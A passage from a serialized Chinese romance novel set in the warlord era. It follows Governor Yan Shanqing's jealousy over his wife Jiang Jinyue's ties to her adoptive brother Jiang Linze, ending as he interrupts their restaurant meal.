江浸月语气镇定,“如果我真的心怀不轨,敢对您行刺,即便成功了,您手下那些人也不会放过我,不会放过江家和沈家,那么我当初开城献降、答应嫁给您、让您保全江沈两家的意义,不就不存在了吗?”
“所以我根本不可能做那种事!”
她的眼神清亮,逻辑清晰,理智得像冬日里的一盆冷水,精准地浇灭了晏山青心头灼烧的怒火。
晏山青盯着她看了许久,眼底翻涌的情绪慢慢沉淀下去,取而代之的是一种深不见底的晦暗。
他缓缓松开钳制她的手,后退一步,拉开距离。
他扯了扯嘴角,声音恢复了平日的冷淡:“夫人说得是,是我忘了,我们这场婚姻本就是建立在互利互惠的基础上。”
他语气更加疏离:“我冒犯夫人了。”
江浸月抿着唇,想说些什么,又不知该说什么。
而晏山青已经转过身,不再看她:“夫人,收拾一下,等我跟白振棠见完面,我们就动身回南川。”
江浸月的唇上还残留着被他啃咬过的刺痛,而他却冷漠到了极点,她心里莫名堵了一下。
垂下眼睫,轻声应道:“好。”
晏山青其实没等她的回答,就已经大步往外走。
偌大的客厅,只剩下江浸月一个人。
她缓慢地抬手,轻轻触碰自己的嘴唇。
这是他们之间的第一个吻,开始得如此草率,结束得如此狼狈。
江浸月心头掠过一丝陌生的,连她自己都未曾预料到的悸动。
她连忙深吸了口气,强迫自己将那点混乱的涟漪压下去,不再想那些乱七八糟的东西。
……
晏山青离开公馆后,就去了白家,与白振棠谈军火交易。
谈得很顺利。双方都是明白人,各取所需,没什么矛盾。
正事谈完,白振棠还安排了助兴节目,一群金发碧眼的异国舞女在厅中翩翩起舞,身姿曼妙,音乐新奇。
别说是在国内,就是在时髦的西江,这都算新鲜玩意儿。
但晏山青却只是懒散地靠在椅背上,指尖夹着烟,目光掠过那些扭动的腰肢,眼底没有任何波澜,显得兴致缺缺。
白振棠在旁边看着十分忐忑,拍卖行的事情他已经知道了。
虽然自己的女儿白珍珍是被万敏敏利用了,但终究是牵扯到白家,他生怕这位活阎罗记恨,只能小心地陪着笑脸:
“督军,要是对这些歌舞不满意,那就换其他的表演?”
晏山青吸了口烟,烟雾缓缓吐出,目光漫不经心地扫过坐在下手的陈文轩,嘴角勾起一抹没什么温度的弧度:
“既然白爷有心,那就请陈经理来表演个节目吧。”
突然被点名的陈文轩一愣,旋即站起身:“督军,我不会歌舞。”
晏山青将烟摁灭在烟灰缸里,然后从腰间的枪袋中取出那把柯尔特手枪,啪的一声,随意地丢在了茶几上:
“不会歌舞没关系。既然你表哥送你枪,想必你枪法不错,那就表演一下射击吧。”
他抬了抬下巴,示意院子里的一棵树:“就打那棵树,能中三枪,这把枪,我就物归原主。”
陈文轩微微皱眉:“督军,我不会开枪。这把枪我平时只是收着,当作对我表哥的一份念想而已。”
“是吗?”晏山青盯着他那张与沈霁禾有几分相似的脸,声音冷了下去,“但我今天就要你开枪。”
陈文轩看着他,语气坚定:“督军,请不要强人所难。”
晏山青忽地冷笑一声,毫不掩饰戾气和某种迁怒的意味:“我偏要强人所难,你又能如何?”
第70章 闹别扭的督军夫妻
“……”
陈文轩僵在原地,嘴唇动了动,但终究是一个字都说不出来。
他能如何?
在绝对的权势面前,他当然是什么都做不了。
晏山青心头的无名火越烧越旺,突然间起身,抓起那个又厚又大又重的玻璃烟灰缸,直接砸向那把柯尔特手枪!
“哐当——!”
手枪有些年头了,被硬质玻璃一砸,当场四分五裂!
“既然你开不了枪,”晏山青声音带着一种毁灭性的快意,睥睨道,“留着这东西也没用。”
他甚至懒得再看陈文轩一眼,也无视了满厅的死寂和白振棠煞白的脸色,随手丢下烟灰缸,径直对副官下令:
“去挑一把最新式、最好用的枪,赔给陈经理。”
说完,他黑色的风衣一扬,大步流星地离去。
陈文轩看着桌子上那堆废铁,久久无言……
·
次日午后,江浸月和晏山青正式结束为期半月的西江行,启程返回南川。
一路上两人都没怎么说话,车内一片沉寂。
晏山青靠在后座闭目养神,江浸月则一直看着窗外飞速倒退的景物。
开车的司机从后视镜里悄悄瞄了他们好几眼,心里直犯嘀咕,这气氛,怎么看怎么像是两位主子在闹别扭?
但应该不可能吧……督军心情不好就算了,难不成夫人还敢跟督军置气?
可这段路整整六个小时,两人就是安安静静,司机越开越战战兢兢,愣是大气都不敢出。
车子快到南川城门时,恰巧遇见蒋临泽骑马从城外回来。
蒋临泽认出这是督军府的车,勒住马,微笑地招手示意。
司机连忙低声禀报:“督军,是蒋特派员。”
江浸月闻言,下意识朝前方看去。
晏山青睁开眼,目光掠过江浸月,语气平淡无波:“真巧,又遇到你的熟人了。”
江浸月抿唇,没接话。
晏山青吩咐:“停车。”
车子停下,两人一起下车。
蒋临泽利落地翻身下马,摘下皮质手套,跟晏山青握手:“督军,夫人。听说二位去西江过年了?到现在才回,看来西江是别有风情,才让人流连忘返。”
晏山青握了手,收回手,神色淡淡:“确实不错,热闹得很,蒋先生有机会也可以去领略一下。”
“一定。”蒋临泽点头,又将目光转向江浸月,“浸月,你过年还没回过江家吧?”
“没有。”江浸月答道,“反正都在南川,什么时候回去都可以。”
蒋临泽:“上次你说等空了,安排我和江先生、江夫人一起吃顿便饭。正好过年期间大家都清闲,你看什么时候方便,就把这顿饭定了吧。”
江浸月这才想起这件事,她点点头:“好。”
蒋临泽想了想:“明天初四,正是走亲访友的日子,你若是没有别的安排,不如就定在明天?”
“可以的。”江浸月应下。
两人的对话很寻常,但晏山青在一旁听着,脸色却有些疏漠。
寒暄完,蒋临泽便对晏山青拱手:“督军一路辛苦,早点回府休息,蒋某先不打扰了。”
说完,他重新上马,告辞离去。
江浸月和晏山青也重新上车,车子启动,驶入南川城。
晏山青忽然开口,声音听不出什么情绪:“‘上次’是哪次?你们什么时候约的饭?”
江浸月顿了一下,而后如实回答:“就是码头爆炸,我回娘家商量对策那天。蒋临泽突然来了江家,碰上了,就随口聊了几句。”
“怎么没听你提过?”
“没什么要紧事,不值当特意说,他今天不提,我都忘了。”
“没什么事?”晏山青语调微扬,带着点冷峭,“他那次去江家,是想帮你们渡过难关吧,当时你们要是解决不了,你肯定会去找他帮忙吧?”
“不会。”江浸月否认得干脆,“我当时就拒绝他了。”
“为什么要拒绝?”晏山青侧头看她,眼神深邃,“你们遇到困难,而他恰好能解决这个困难,不是一拍即合么?他又是江家养子,出手相助也是情理之中。”
江浸月迎上他的目光,语气平静且清晰:“他现在不是江家养子了,是军政府的特派员,是来制衡督军的。我现在是督军的人,自然要懂得避嫌,该保持的距离必须保持,这点道理我懂。”
晏山青闻言,嘴角扯出一抹极淡的弧度,语气带着点说不清是赞许还是挖苦的意味:
“确实。夫人总是最懂什么能做,什么不能做。”
“……”江浸月被他这话噎住,又无话可说了。
她负气地扭头,看向窗外,熟悉的街道映入眼帘,她心下不仅不觉得舒坦,反而更加觉得堵得慌。
从昨天开始,这男人说话就夹枪带棒,气场也冷冷淡淡……谁知道他怎么了?
他有脾气,她还有脾气呢。
被突然强吻的人不是她吗?
车子在一种微妙的僵持中驶入督军府。
两人先去见了老夫人。
老夫人好不容易把儿子盼回来,心里虽对他们在西江过年有疙瘩,但看着儿子冷硬的脸色,也不敢多说什么,只客套地关心了几句旅途是否劳累,便让他们先回院子休息了。
回到垆雪院,明婶已经接到消息,备好了饭菜,但饭桌上,两人都只是沉默用餐,几乎没有交流。
明婶看着这情形,心下大为疑惑,一起出门这么多天,按理说应该更加亲密才对,怎么这氛围……比走之前还冷呢?
饭后,晏山青拿起毛巾擦了擦手,便起身要走。
江浸月也起身送了他两步。
晏山青忽然回头:“今天不留我在你的垆雪院过夜了?”
江浸月愣了一下,试着问:“督军要在垆雪院过夜吗?”
晏山青目光幽深,淡淡地说:“我还有事,要去书房。”
那他说个什么劲?
“……督军慢走,公务别忙太晚,早点休息,注意保暖。”
晏山青呵了一声:“夫人还真是善解人意,体贴入微。”
然后就头也不回地走了。
江浸月:“……”
明婶端着洗脸水进门:“夫人,督军怎么来了又走呢?”
她以为这么晚了,晏山青过来肯定会留宿的。
江浸月扭头走回内室,摘掉耳环,丢在妆台上,这个动作是带着小脾气的。
“我哪知道?他的性格就是这么阴晴不定!”
好好说着话,突然就变脸了,这天下没有比他更难伺候的人!
明婶看出她因为晏山青的喜怒不定生气了,低声劝慰道:“您忍忍,他毕竟是督军。”
江浸月低头看着水中自己的倒影。
……都是督军,沈霁禾的脾气就不会这样。
沈霁禾总是温和的,讲理的,就算跟她意见不同,也会把话掰开了揉碎了讲,有商有量地跟她聊出一个彼此都能接受的方案。
从来不会前一秒笑后一秒怒地吓唬她。
而晏山青就会!
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第71章 原来督军是吃醋啊?!
人人都说,江浸月是银行江家最受宠的小女儿,从小过着比从前宫里的格格还要尊贵的日子。
——这话是真的。
江浸月活到20岁,没吃过一点苦,无论是出嫁前还是出嫁后,都是被家人宠爱着的。
但来了晏家后,老夫人、晏山青、宋知渝、陈佑宁……一个两个三个……都来为难她。
江浸月感到一股委屈涌上鼻腔,眼眶也泛起了红润。
今时不同往日,她知道的。
她必须顺风扯旗、曲意逢迎、不断周旋,才能保住她想保住的这些人。
明婶知道姑娘委屈,轻声哄了几句,又问:“那,明日回江家,与蒋先生吃饭的事,您还要去吗?”
江浸月吐出一口气,将心态重新调整好,坐在梳妆台前拆开头发,又拿帕子一点点擦去脸上的妆。
在这个过程中,她重新思索这件事:
“去。为什么不去?我行得正坐得端,没什么好避讳的——越是避着,反倒显得我心里有鬼似的。”
……
晏山青出了垆雪院,管家过来说苏拾卷来了,在他的院子。
他便转步去了山水居。
他到的时候,苏拾卷刚洗了脸和手,一脸神清气爽的样子。
“听说你一路上都拉着张脸,谁又惹我们督军了?”
晏山青没说话,在椅子上坐下点了根烟。
苏拾卷看了看晏山青,发现这人的脸色是真的不太好。
刚才他进门的时候听管家说晏山青去了江浸月那儿,现在没留宿,还满脸的不痛快,那就只有一个解释了:
“你跟弟妹吵架了?但她看着不像胆子这么大的人啊,该不会是你单方面生人家的气吧?”
晏山青掀起眼皮:“你很了解她?”
“?”
苏拾卷乐了,“你还真是冲弟妹生气啊?”
这也太难得了。
晏山青大多数时候都是喜怒不形于色的,你看他虽然经常一言不合就开枪打人,但他都不是真的生气。
毕竟他蹍死那些人就跟蹍死蚂蚁似的容易,他们根本不值得他动肝火。
可上次他将江浸月遣送回娘家,还有今晚,却都是真的在生气。
江浸月居然能给他这么大的情绪波动。
晏山青瞥见他憋笑的模样:“……有话就说,别笑得那么恶心。”
“南川到处都在猜,你娶江家女是为什么?”苏拾卷收了笑,语气变得正经了些。
“是为了羞辱你的死对头沈霁禾?还是为了江家银行的支持?个别聪明的猜到你是为了稳定南川,心思龌龊的则猜你是看中江家女的美貌。”
“现在我来问问正主,你到底是为了什么?”
晏山青掸掉烟灰:“这个问题,你前前后后问了我好几次,这么关心我的私人生活,你是我妈?”
说到这儿,瞥了他一眼,“难怪他们说你是‘碎嘴婆子’。”
苏拾卷瞪着眼睛:“谁说我是碎嘴婆子?该不会是祝芙吧?”
晏山青有些懒倦地说:“你自己去问她。”
苏拾卷没太好气:“我认识你这么多年,见你生气的次数屈指可数,最近几次都是因为弟妹,觉得你对她特别,纯粹好奇而已。”
唇间吐出一缕白雾,晏山青冷不丁开口:“两年前,我在军政府见过蒋临泽。”
这事儿苏拾卷知道。
因为蒋临泽也是草根出身,爬得很快,没几年就成了大元帅身边的机要参谋,晏山青那天回来就跟他说了,大元帅身边多了个人,看着不太简单。
但现在提起这个做什么?
“然后呢?”
“当时大元帅想给我跟他做媒,我搬出宋知渝当借口,而他说他在老家有一个未婚妻。”晏山青的语气不咸不淡的。
“大元帅被连着拒了两次,不高兴,不敢对我怎么样,就针对他,问他什么老家未婚妻?他不是孤儿吗?”
“他解释,年幼时承蒙汇源银行江家收留,江家已经把独生女儿许配给他,江家大小姐就是他未过门的妻子。”
苏拾卷错愕:“你是说弟妹??”
他立刻从晏山青下手的位置换到他身旁的位置,“怎么可能?我听说弟妹跟沈霁禾的婚事才是从小定下的,就等她完成学业回国完婚。他也是托词吧?就跟你搬出宋知渝一样。”
说到这里,他一顿,有些蔫儿坏地说,“不对,你跟宋知渝不完全是假的……这么说,他说他的未婚妻是弟妹,也不一定是假的。”
晏山青果然掀起眼皮:“你不说话,没人把你当哑巴。”
苏拾卷笑着说:“不是你先提的吗?我顺着你的话说,你又不高兴了?”
晏山青懒得理他的不正经,将抽到尾的烟蒂摁灭在烟灰缸里:“他怕大元帅不相信,详细说了他们之间的点点滴滴,当时我在旁边听着,没往心里去,反正又不关我的事。”
苏拾卷拉长声音,“哦——”了一声:“然而现在,那位江家大小姐成了你的妻子,蒋临泽那些话也成了扎在你心头的一把刀。”
“说刀就夸张了,就是觉得不痛快而已。”
尤其是那次在酒楼,江浸月想求他放过沈鹤,却去看蒋临泽,那种下意识的依赖骗不了人。
她遇到事,不依赖丈夫,依赖别的男人,这算怎么回事儿?
苏拾卷想了片刻,还是说:“我猜这事儿就是蒋临泽编的。”
他罗列着理由,“首先,江家就这么一个女儿,宠得跟公主似的,他蒋临泽当年再能干,也是依附着江家,嫁给他?说句不好听的,那不是左手倒右手吗?”
“除非是他们两个爱得不能自拔,非要江家父母成全,否则换作我是江家父母,我会觉得嫁给他是‘没出息’。”
“其次,他们是兄妹,就算不是亲的,可也是尽人皆知的关系,兄妹结婚,实在是荒唐。由此可见,这事儿没可能,就是蒋临泽为了婉拒大元帅往他身边安插眼线的托词罢了。”
晏山青皱眉:“她提起蒋临泽总是遮遮掩掩。”
这就很让人觉得他们之间,可能真有过什么。
苏拾卷看着他幽冷的神色,恍然大悟:“我想起来了,你把弟妹遣送回娘家那天,是我们第一次遇到蒋临泽……所以你就是因为蒋临泽才生弟妹的气的?”
晏山青眉心动了一下,想说什么,但最后没说。
苏拾卷继续猜:“这次生气,也是因为蒋临泽?”
晏山青还是没说话。
苏拾卷笑出了声:“还真的有关啊?”
晏山青有点烦躁:“这么晚不睡觉,聊这些有的没的有意思吗?”
苏拾卷笑得上气不接下气:“太有意思了,我总算知道你为什么那么容易生弟妹的气,感情是吃醋啊!”
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第72章 他以前没遇到过这种事
“……”
晏山青要不是看他跟自己出生入死这么多年早就揍他了。
“不会说话就滚蛋!”
“行行行,”苏拾卷在大冬天里笑出了一身汗,摆摆手,“我这就滚,这就滚。”
他今晚要在督军府过夜,朝自己平时住的那间客房走去。
一边走,一边想,这件事可能有点门道。
别的不提,就说蒋临泽是怎么被逐出江家的就有好几个版本的说法,也不知道哪个才是真相?
路上遇到副官,苏拾卷对他勾了一下手。
副官不明所以地走过来:“苏参谋长,您有什么事?”
苏拾卷勾住他的脖子:“交给你一个任务,你去秘密打听,但不要惊动任何人。”
·
山水居里只剩下晏山青一个人。
他还坐在太师椅上,神情依旧烦躁,又随手点了一支烟。
苏拾卷那个人,虽然烦,但有一点没说错,他最近动怒,确实十有八九都跟江浸月有关系。
这次也不完全是因为蒋临泽。
还有那个陈文轩,不,准确来说,是沈霁禾。
这股无名火,从听白振棠描述江浸月和沈霁禾当年如何恩爱时,就隐隐有烧起来的趋势了,而在看到陈文轩那张像极了沈霁禾的脸后,就彻底不可抑制。
沈霁禾、蒋临泽,甚至那个只有几分相似的陈文轩……她身边总围绕着这些男人,个个都跟她有着或深或浅、说不清道不明的旧日情分。
而她呢?
对着他们的时候,都能流露出几分真实的情绪,或怀念,或触动,或坦然。
唯独对他晏山青,永远都是清醒又理智,张口闭口就是“利益权衡”、“合作基础”。
是,他比谁都清楚,他们这场婚姻的起初就是一场交易。
可他就是厌烦从她嘴里听到这些!
他既憎恶她对别人的情意,又抵触她对自己公事公办。
他觉得自己这想法很矛盾,就像既想要驯服一匹烈马,又嫌它野性难驯,可他不知道怎么处理,他以前没遇到过这种烦恼。
本来还想跟苏拾卷那碎嘴老妈子再掰扯几句,那人虽然烦,但分析事情总是一针见血。
只是话到嘴边又咽了回去。
算了。
要是让那家伙知道自己连这种拧巴的心思都有,怕是要笑足他一整年。
晏山青有些懊恼地将才吸了几口的烟用力摁灭在烟灰缸里,带着一股无处发泄的憋闷,起身。
睡觉!
……
第二天,江浸月刚走到督军府门口,就听见有人喊了她一声“弟妹”。
她下意识转身。
苏拾卷走了过来:“弟妹这是要出门?”
江浸月笑说:“是。苏参谋长怎么这么快就回来,不在家待到年后。”
“家里没什么事,待着挺无聊,不如回来给山青拉磨。”苏拾卷笑,“你要去哪儿?要不坐我的车吧,省得再调车。”
江浸月想想也行:“好啊,我准备回一趟娘家,过年还没回去过呢。”
苏拾卷欣然道:“走,我送你。”
两人便一起出门了。
苏拾卷身上有很重的书卷气,待人也礼貌,还会主动为江浸月开车门。
江浸月坐上车,笑着说:“为女士开车门,在国外都是绅士才会做的。苏参谋长没留过洋,但做得比那些所谓的绅士要好得多。”
苏拾卷笑道:“耳濡目染,看家里的兄弟做得多了就会了。你也别叫‘苏参谋长’了,直接叫我名字就行。”
江浸月一笑:“还是叫苏先生吧,比较尊敬。听说苏先生家里其实很殷实?”
“对,我爹是做外贸的,将丝绸茶叶销往国外。”
江浸月好奇:“那苏先生怎么会跟督军成为要好的朋友呢?”
晏山青发家前跟他都不是一个阶级的,这样性格、背景都迥异的两个人,居然能成为战场上生死相交的好朋友,着实是令人意外。
车子平稳地行驶在热闹的大街上,苏拾卷也对江浸月说起来:
“十年前的世道比现在更乱,尤其是东湖,我们当时那个督军啊,真的不是人,说是猪狗都是侮辱了猪狗。”
江浸月微微皱眉:“怎么说?”
“就这么说吧——他家里光是姨太太就有十八房,这还是给了名分的,没给名分、被他糟蹋了一两次就抛诸脑后的小姑娘更是不计其数。”
江浸月面露嫌恶:“那真是畜生。”
苏拾卷再道:“有一回,他抢了我十五岁的妹妹,说要纳为十九姨太,我爹求了好几次,都没能把人要过来。”
江浸月愠怒:“混账!”
“他设纳妾宴那天晚上,我带着一把菜刀去了督军府,想把我妹妹救出来,结果就遇到了山青,他们潜入督军府,不同的是,他们是去杀那个督军的。”
江浸月讶然。
苏拾卷说下去:“他那个村落,总是被督军府以及手下的狗腿子强征去盖房子,还不给工钱,累死许多青壮年,再那么下去,全村的人都要绝种了,所以他们决定奋起反抗,我们就这么撞到一起了。”
“我听了他们的话,觉得很有道理——就算我今晚能把妹妹救出去,可那个督军只要还活着,就会继续鱼肉百姓、强抢民女,也能随时要了我们的命。与其提心吊胆,不如奋起一搏!”
江浸月下意识问:“那那天晚上你们成功了吗?”
苏拾卷笑:“当然成功了。否则哪儿还有我们今天?就是因为那晚的一拍即合,我们才会走到一起。”
江浸月这才放松下来。
关于晏山青的事迹,她听沈霁禾和大哥二哥略略说起过,只知道他是一个从平民杀到督军位置的神人,不知道这么具体。
现在一听,就觉得时势造英雄,压迫到极致就一定会有反抗。
她又问:“督军那时候多大?”
“大概是16岁。”
江浸月16岁的时候还在国外读书,每天最大的苦恼就是学业的难度。
而16岁的晏山青已经背上全村的生路,在一个夜晚潜入重兵守备的督军府,殊死一搏。
难怪他能用短短十年就成为把控东湖、南川两大重省的一把手——他本就是这么一个强悍又果决的人。
江浸月感觉自己对晏山青这个人的了解又清晰了很多。
苏拾卷看着江浸月若有所思的神情,温和地笑了笑,补充道:“其实山青这个人,看着冷硬,但对自己人,心是软的,也很重情义,弟妹,你多跟他处处,就会发现他挺好说话的。”
“……”江浸月干笑。
心想苏先生你对他是有什么误会?他那样阴晴不定的人,哪里好说话了?
苏拾卷往窗外看了一眼:“江家到了,你去吧。”
车子停下,江浸月准备下车,想到什么,又回过头问:“能再问苏先生最后一个问题吗?”
第73章 蒋临泽当年为什么离开江家
苏拾卷颔首:“当然可以,你问。”
江浸月的问题是:“你喊我弟妹,那喊过督军弟弟吗?”
“……”
苏拾卷没想到是这么无厘头的问题,哑然失笑,“谁敢喊他弟弟呀?我只敢仗着比他大两岁,占占你的便宜而已。”
江浸月就说晏山青那种人,怎么可能给人当“弟弟”。
“那苏先生以后还是喊我的名字‘浸月’吧。”
她也不想让他“占便宜”。
苏拾卷突然觉得这位江大小姐也蛮有意思的,她跟晏山青未必不能成为真正携手与共、共度余生的夫妻。
他笑着说:“好。”
看着江浸月进了江家,苏拾卷才吩咐司机开车去办事处。
他到的时候,晏山青已经在办公室里了。
他人站在窗边,手里拿着一份文件在看,听见脚步声,头也没抬,只是淡淡地问:“怎么来这么晚?”
苏拾卷自顾自倒了杯热茶,随口道:“出门的时候正巧碰上浸月了,就顺路送她回江家。应该是过年还没回去过,今天得空回去看看家人吧。”
晏山青鼻腔里逸出一声冷嗤。
看家人?
她明明是要去跟蒋临泽吃饭!
还真是积极,蒋临泽一约,她当场就答应,一起床就赶过去,这是有多迫不及待。
晏山青联想到年前蒋临泽为了她开车撞破茶楼大门的事。
当时说什么,“蒋临泽不知道楼里的人是他,以为出了命案,责无旁贷才进去”,根本就是撒谎!他百分百知道里面是江浸月,所以才会闯进去!
晏山青越想,脸色越冷,比外面的气温还要低。
苏拾卷没有发现他的情绪,走到办公桌旁,拿起上面一份待议的文件:“是要谈城东那块地皮的招标吗?”
晏山青一言不发。
苏拾卷:“嗯?”
晏山青突然将手中的文件丢在桌子上,眼眸漆黑,眉宇间有股莫名的躁意:
一起吃饭?
他这个正经女婿都没跟她父母家人一起吃过饭,蒋临泽就吃上了,凭什么?
苏拾卷:“咋啦?”
“不谈了。”晏山青撂下这三个字,径直越过苏拾卷,大步往门外走去。
??
苏拾卷被他这突如其来的举动弄得一愣又一愣,连忙冲着他的背影喊:“哎?不谈啦?不谈你催命似的催我过来干嘛?”
回答他的只有军靴用力踏在地板上的脚步声。
苏拾卷简直气笑了:“这人……吃枪药了吗?”
……
另一边。
江浸月进了江家,就瞧见门里门外张灯结彩的。
屋檐下挂着红灯笼,门楣上贴着红春联,窗户上也剪着龙凤图案的窗花,院子里还摆了好几盆开得正艳的年花,处处透着新春的喜庆。
她看着就觉得心情好,这两天的不开心顿时一扫而空,脚步轻快地走进客厅——江父、江母和江泊禹、杨慧敏都坐在沙发上喝茶说笑。
“爸,妈,大哥,大嫂,我回来了。”江浸月笑着喊。
“皎皎,过来。”江母立刻朝她招手,江浸月便走过去。
江母将自己的暖手炉递给她:“暖一暖。”
又仔细打量着她,露出欣慰的笑容,“瞧着气色不错,脸蛋都圆润了点,看来这趟去西江没受苦,督军待你应该还不错吧?”
江浸月顺势坐在母亲身边的沙发扶手上,没提最后那点不愉快,只拣轻松的说:“挺好的。西江繁华,比南川还热闹,有趣的东西也多,等有时间了,也带你们去玩玩儿。”
江母拍了拍她的手,语气愈发柔和:“督军疼你,我们也就放心了。听说那个宋小姐被送去静心庵清修了?没了她在后院给你添堵,你的日子也能顺心一些。”
江浸月有点撒娇:“可是老夫人还看我不顺眼呢。”
“到底是婆婆,能忍则忍,能让则让,面上总要过得去。”江母劝道。
“知道了妈妈。”江浸月左右看了看,“二哥呢?”
江父笑说:“我让他带着礼物去拜访几位老客户,人家照顾我们一年的生意,大过年的,还是应该有点表示。”
“那倒也是。”江浸月应着,又说起正事,“对了爸妈,大哥大嫂,你们中午应该没什么事吧?”
大哥说:“没什么事,我们都专程在家等你回来呢。”
江浸月便道:“蒋临泽说想请咱们一家人吃顿便饭,我已经答应了,这个时间,咱们差不多可以过去了。”
此言一出,原本轻松愉悦的气氛瞬间凝滞。
江浸月不明所以地看着父母:“爸,妈,怎么了?蒋临泽上次来过咱们家,临走时不还跟你们打了招呼嘛?还有年前在茶楼,他还帮了我,一起吃顿饭,不过分吧。”
方才还带着笑意的江父脸色已经淡了下来,将手中的茶杯不轻不重地搁在茶几上,声音没什么起伏地道:
“没必要。都这么多年没往来了,这顿饭吃不吃,也没什么差别。”
江浸月蹙眉:“爸,您是不是还在介怀当年把他逐出家门的事情?他跟我说,他当年不是因为盗窃,而是别的原因……那是什么原因?”
江父却是直接加重语气:“没什么原因!他就是个忘恩负义的东西!你以后也少跟他来往!”
说完就起身,拂袖而去。
“……”江浸月愣住,她完全没想到父亲会动这么大的气……
江母叹了口气,也是道:“浸月,都过去这么多年了,如今大家相安无事就好,别再刨根问底了。中午就在家吃,妈妈去给你做你爱吃的糖醋排骨。”
然后也起身走向厨房。
客厅里只剩下江浸月、江泊禹和杨慧敏三哥人。
杨慧敏按捺不住,轻轻推了推身边的丈夫:“你肯定知道内情对不对?到底是什么事啊,能让爸妈这么避而不谈?”
江泊禹眉头紧锁,却只是摇了摇头:“既然爸妈都不想提,你们也别太好奇。大过年的,别让家里不开心,我上楼看看爸吧。”
杨慧敏看着他的背影,没好气地嗔道:“神神秘秘的……看我晚上怎么收拾他!”
江浸月微微皱眉,那件事居然能让爸妈讳莫如深到这个地步,那到底是什么事?
她越不知道就越好奇,心痒难耐,索性对大嫂说:“蒋临泽已经在饭店等着了,我得去跟他说一声,不然太失礼。”
既然爸妈这边挖不出话,那就去问蒋临泽!
第74章 不是吃醋,是占有欲作祟
杨慧敏闻言便道:“我陪你一起去吧。有我在,你也不算单独见他,免得被那些好事之徒嚼舌根。”
江浸月不以为意:“谁会嚼舌根?嚼什么舌根?”
“万一就是有呢?”杨慧敏笑道,“要是传到督军耳朵里可就不好了,他会吃醋的。”
江浸月失笑:“晏山青怎么可能吃醋?”
杨慧敏却道:“男人哪有不爱吃醋的?”
“……”
江浸月突然想到晏山青这两天十分反常的态度,心头顿时一动。
她之前说他吃醋,只是随口说笑而已,没觉得他真的会……难道,他真的是因为万敏敏癫狂之下喊出的那些话才会这样的?
他真的吃醋?
……不。
不是。
他就算是因为被万敏敏刺激了才阴晴不定,那也不会是因为吃醋,而是他身为男人、身为大权在握的上位者的占有欲作祟。
他觉得她是他的“督军夫人”,就不能跟任何男人有关系,否则就是挑战他督军的地位和威严,所以才会这样。
一定是。
江浸月抬手捏了捏眉骨,心里突然也有些乱糟糟……但无论如何,还是先去见蒋临泽。
两人让司机备车,前往蒋临泽订好的饭店。
车上,杨慧敏想起另一件事:“对了,皎皎,昨天万国军把你大哥叫去他们家了,说万敏敏在西江招惹了你,被督军打断一条腿送回来。”
“万敏敏是范翠兰的眼珠子,这会儿正闹着要去督军府讨说法呢。”
江浸月淡淡道:“她没被直接处置,已经是督军手下留情了。大嫂,你跟大哥说,万国军要是再找他,就让他管好自己的女儿,别再想攀高枝,那是自取其辱。”
杨慧敏点点头,又好奇地追问:“万敏敏在西江做了什么事?”
江浸月便把拍卖会上的事情简言意骇地说了一遍。
杨慧敏听得直咂舌,骂道:“真是无耻!不过你怎么那么厉害,怎么看出那个抬价的人有问题的?”
江浸月:“他穿的那身西装,肩线垮着,裤脚长了不止一截,就算是成衣店买的,也不会这么不合身,更像是有人临时找了身行头让他套上。”
“还有,他举手叫价的时候,我瞥见他指甲缝里藏着黑泥,稍微讲究点的人都不会这样,说明他根本不是什么富家老爷,就是个被雇来演戏的。”
杨慧敏恍然大悟:“所以你后来故意跟他杠着叫价,是为了试探他,逼他露馅?”
江浸月颔首:“逼得他和拍卖行老板无路可走,他们自然会把幕后的人供出来。”
说话间,车子已经平稳地停在饭店门口。
泊车员立刻上前为她们打开车门,两人进了饭店,报了蒋临泽的名字,服务生随即带领她们来到二楼的一间包厢门前。
蒋临泽果然已经到了,正坐在位置上看菜单,闻声抬起头。
见到只有江浸月和杨慧敏两人,他脸上并未露出太多意外,像是早有预料。他站起身,温和地笑道:“来了,快请坐。”
“蒋先生,我是跟着浸月来蹭饭的,希望不会太冒昧。”杨慧敏笑着寒暄,和江浸月一同落座。
“哪里,江大少夫人肯赏脸,我很荣幸。”蒋临泽将菜单递过去,“你们看看想吃点什么?这家的南川菜做得很地道。”
杨慧敏接过菜单,一边翻看,一边随口闲聊:“这饭店瞧着有些年头了。”
蒋临泽颔首:“是有些年头了,它开了得有几十年了。最开始,老板只是在街角支个摊子卖小馄饨,我和皎皎经常偷偷跑去吃。”
杨慧敏来了兴趣,好奇地问:“为什么是‘偷偷’跑去?”
江浸月嘴角弯了弯,接话道:“因为妈妈总觉得外面小摊的东西不干净,不让我们吃。”
蒋临泽想起旧事,眼神柔和了一些:“有一次我们吃完回去,皎皎半夜发起高烧,我当时真以为是那馄饨不干净,又急又自责,还特别恨那个小摊,差点就要跑去掀了人家的摊子讨说法。”
江浸月莞尔:“后来才知道是那天风大,我着凉了,跟人家的馄饨没关系。还好你没真去掀摊子,不然我们可要成小恶霸了。”
蒋临泽看着她笑:“那也得怪那天风大,要不是在风口吃馄饨,你也不会着凉。”
杨慧敏看着他们你一言我一语,自然而然地流露出一种旁人难以插足的熟稔,不禁感叹道:“听你们这么说,以前感情是真好啊。”
江浸月点点头:“是啊,以前哥对我很好。”
她抬起眼,目光清凌凌地看向蒋临泽,“所以,哥,你当年,究竟是为什么离开江家的?”
蒋临泽看了江浸月片刻,声音低沉了一些:“江老爷和江夫人不肯告诉你,所以你就来问我了?”
“是。”江浸月迎着他的目光,态度明确,“他们不肯说,但我想知道。哥,你能告诉我,当年到底发生了什么吗?”
蒋临泽看着她固执的眼睛,喉结轻微滚动了一下,刚要开口——
“砰!”
包厢门毫无预兆地被人从外面推开。
随后一道高大挺拔的身影就带着一身凛冽的寒气,出现在门口。
晏山青脸色淡漠,冷淡的目光先是在江浸月脸上定格了一瞬,随即冷冷地扫过蒋临泽,嘴角勾起一抹没什么温度的弧度:
“看来,我来得正是时候——饭还没开始吃,加我一副碗筷不介意吧?”
江浸月蓦地一愣,完全没想到他会突然出现:“督军……?”
晏山青走进包厢。
这包厢明明很大很宽敞,可不知怎的,多了他一个人后,好似变得逼仄起来了……
蒋临泽很快反应过来,微笑,起身:“督军来了,当然不介意,贵客不请自来,是我这个做东的人的荣幸。”
他对服务生做了个手势,服务生立刻送上碗筷。
晏山青在江浸月身旁的位置坐下:“岳父岳母怎么没来?这顿饭不是要请岳父岳母的吗?怎么变成兄妹聚餐了?”
